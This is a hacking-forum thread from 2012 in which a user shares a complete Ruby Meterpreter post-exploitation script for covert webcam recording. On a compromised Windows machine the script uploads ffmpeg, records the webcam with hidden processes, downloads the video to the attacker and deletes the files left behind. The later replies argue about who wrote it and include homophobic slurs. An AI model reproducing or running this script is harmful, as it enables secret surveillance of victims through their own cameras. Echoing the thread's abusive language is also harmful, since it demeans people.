Author Topic: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script  (Read 4902 times)

0 Members and 1 Guest are viewing this topic.

Offline kenjoe41

  • Symphorophiliac Programmer
  • Administrator
  • Baron
  • *
  • Posts: 990
  • Cookies: 224
    • View Profile
[ruby]Camrecorder.rb Meterpreter Post Exploitation Script
« on: December 19, 2012, 01:03:34 pm »
script a friend of mine gave me because i don't do ruby yet. thought i would share it here.

Code: (ruby) [Select]
# Webcam Recorder Meterpreter  Script
# Recorder idea  by Jake Johnstone    aka. Sud0x3

session = client
host,port = session.tunnel_peer.split(':')
#Menu-Options
@@exec_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help menu." ],
    "-t" => [ true,  "Time limit in seconds.( 01 to 60 )" ])
def usage
    print_line("Webcam Recorder Meterpreter ")
    print_line("###################################################")
    print_line("Usage: camrecorder -t <time> ")
    print(@@exec_opts.usage)
    raise Rex::Script::Completed
end
#Files to upload to target host
ffmpegexe = File.join(<acronym title="Metasploit Framework">Msf</acronym>::Config.install_root, "data", "upload.exe")
#Function to upload files
def upload(session,file)
    location = session.fs.file.expand_path("%TEMP%")
    fileontrgt = "#{location}\\upload.exe"
    print_status("Uploading Self Extracting Archive ...")
    session.fs.file.upload_file("#{fileontrgt}","#{file}")
    print_status("Upload Complete ...")
    return fileontrgt
end
#Capture video from webcam
def camrec(client,session,time)
    location = session.fs.file.expand_path("%TEMP%")
    print_status("Extracting ...")
    session.sys.process.execute("cmd /c ""#{location}\\upload.exe", nil,{'Hidden' => true,'Channelized' => false})
    sleep 5
    print_status("Starting Capture of #{time}'s...")
    session.sys.process.execute("cmd.exe /c #{location}\\ffmpeg -f vfwcap -r 20 -v 10 -i 0 -t 00:00:#{time} #{location}//output.avi", nil,{'Hidden' => true,'Channelized' => false})
end
#Download Output File
def download(session)
    location = session.fs.file.expand_path("%TEMP%")
    print_status("Downloading Capture ...")
    fileontrgt = "#{location}\\output.avi"
    file = "/root#{::File::Separator}capture.avi"
    session.fs.file.download_file(file,fileontrgt)
    print_status("File Downloaded to #{file}")
end
#Deleting left over files
def delfiles(session)
    location = session.fs.file.expand_path("%TEMP%")
    print_status("Deleting Left Over Files ...")
    print_status("Deleting output.avi ...")
    session.sys.process.execute("cmd.exe /c del #{location}\\output.avi", nil, {'Hidden' => true})
    print_status("Deleting ffmpeg.exe ...")
    session.sys.process.execute("cmd.exe /c del #{location}\\ffmpeg.exe", nil, {'Hidden' => true})
     print_status("Deleting upload.exe ...")
    session.sys.process.execute("cmd.exe /c del #{location}\\upload.exe", nil, {'Hidden' => true})
    print_status("All Files Removed ...")
 end
#Menu-Imput
time = 0
@@exec_opts.parse(args) { |opt, idx, val|
    case opt
       when  "-t"
            time = val
       when  "-h"
            usage
        end

}
if time  != 0
upload(session,ffmpegexe)
camrec(client,session,time)
sleep(time.to_i)
download(session)
delfiles(session)
else
usage
end
« Last Edit: December 20, 2012, 08:40:27 pm by Kulverstukas »
If you can't explain it to a 6 year old, you don't understand it yourself.
http://upload.alpha.evilzone.org/index.php?page=img&img=GwkGGneGR7Pl222zVGmNTjerkhkYNGtBuiYXkpyNv4ScOAWQu0-Y8[<NgGw/hsq]>EvbQrOrousk[/img]

Z3R0

  • Guest
Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
« Reply #1 on: December 19, 2012, 01:23:50 pm »
Fucking leechers...I KNEW I've seen this code before. Epic fail for you and your friend. Zero Cold (the guy that actually wrote this script) is a good friend of mine on intern0t. sud0xe may have contributed a line or two, but the overwhelming majority of the work was done by Zero Cold, but good job on being another skiddie faggot. -1

@Everyone else, creds:
Code: [Select]
http://forum.intern0t.org/java-ruby/2044-camsnap-rb-meterpreter-script.html
« Last Edit: December 19, 2012, 01:30:14 pm by m0rph »

Offline kenjoe41

  • Symphorophiliac Programmer
  • Administrator
  • Baron
  • *
  • Posts: 990
  • Cookies: 224
    • View Profile
Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
« Reply #2 on: December 19, 2012, 02:28:15 pm »
its not being a skiddie apreciating some one's code and sharing to those who don't knnow it. one thing i've learnt in my coding months is that other people's code actually helps in building one's own view via coding. duuuh.

If you can't explain it to a 6 year old, you don't understand it yourself.
http://upload.alpha.evilzone.org/index.php?page=img&img=GwkGGneGR7Pl222zVGmNTjerkhkYNGtBuiYXkpyNv4ScOAWQu0-Y8[<NgGw/hsq]>EvbQrOrousk[/img]

Offline desudesu~

  • /dev/null
  • *
  • Posts: 15
  • Cookies: 8
  • NULL (or not)
    • View Profile
Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
« Reply #3 on: December 19, 2012, 02:41:42 pm »
its not being a skiddie apreciating some one's code and sharing to those who don't knnow it. one thing i've learnt in my coding months is that other people's code actually helps in building one's own view via coding. duuuh.

Your friend should probably have referenced the parts of the code he used from this other person. Of course other people's code helps in building one's own - and it is the wonderful part of programming - but original authors deserve references.
« Last Edit: December 19, 2012, 02:44:32 pm by desudesu~ »
desudesudesu~

Offline kenjoe41

  • Symphorophiliac Programmer
  • Administrator
  • Baron
  • *
  • Posts: 990
  • Cookies: 224
    • View Profile
Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
« Reply #4 on: December 19, 2012, 02:47:51 pm »
Your friend should probably have referenced the parts of the code he used from this other person. Of course other people's code helps in building one's own - and it is the wonderful part of programming - but original authors deserve references.
got that.
If you can't explain it to a 6 year old, you don't understand it yourself.
http://upload.alpha.evilzone.org/index.php?page=img&img=GwkGGneGR7Pl222zVGmNTjerkhkYNGtBuiYXkpyNv4ScOAWQu0-Y8[<NgGw/hsq]>EvbQrOrousk[/img]

Z3R0

  • Guest
Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
« Reply #5 on: December 20, 2012, 08:17:21 am »
its not being a skiddie apreciating some one's code and sharing to those who don't knnow it.
No, but it is when you deny the original author credit for his work.
Quote from: kenjoe41
one thing i've learnt in my coding months is that other people's code actually helps in building one's own view via coding. duuuh.
Again, nothing wrong with that when you give the original author credit for his work. But when you pass it off as someone else's, that is when you become a script kiddie faggot.
« Last Edit: December 20, 2012, 08:34:31 am by m0rph »

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
« Reply #6 on: December 20, 2012, 08:41:45 pm »


</thread>